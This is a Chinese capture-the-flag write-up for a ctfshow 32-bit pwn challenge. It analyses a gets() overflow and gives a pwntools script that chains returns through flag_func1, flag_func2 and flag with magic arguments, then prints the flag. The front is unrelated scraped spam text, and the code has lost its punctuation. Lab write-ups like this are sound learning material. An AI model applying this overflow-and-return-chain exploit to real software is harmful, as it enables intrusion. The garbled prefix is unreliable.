门户网站开发流程视频,如何创造一个小程序,设计一个网站,ucenter使用自己做的网站你是我的谁#xff0c;我的我是你的谁 32 位程序#xff0c;开启 NX 保护 看主函数
跟进 ctfshow 函数
gets 存在溢出 注意到有三个与 flag 相关的函数 先看 flag 函数 输出 flag 的条件#xff1a; if ( flag1 flag2 a1 0xBDBDBDBD )
看 flag_fu… 你是我的谁我的我是你的谁 32 位程序开启 NX 保护 看主函数
跟进 ctfshow 函数
gets 存在溢出 注意到有三个与 flag 相关的函数 先看 flag 函数 输出 flag 的条件 if ( flag1 flag2 a1 0xBDBDBDBD )
看 flag_func1 函数
会直接将 flag1 置 1 看 flag_func2 函数 flag2 置 1 的条件 if ( flag1 a1 0xACACACAC )
那么思路就很清晰了溢出后先跳到 flag_func1将 flag1 置 1
再跳到 flag_func2满足条件让 flag2 置 1
最后跳到 flag 函数满足条件读取打印 flag
写 exp
# authorMy6n
# time20250614
from pwn import *
context(arch i386,os linux,log_level debug)
io remote(pwn.challenge.ctf.show,28295)elf ELF(./pwn)
flag_addr elf.sym[flag]
flag1_addr elf.sym[flag_func1]
flag2_addr elf.sym[flag_func2]payload cyclic(0x2c4)
payload p32(flag1_addr)
payload p32(flag2_addr)
payload p32(flag_addr)
payload p32(0xACACACAC) p32(0xBDBDBDBD)io.sendlineafter(Input your flag: ,payload)io.interactive() 没有问题
拿到 flag ctfshow{e4a15f8b-48a0-46ce-9783-7fa48bef281a}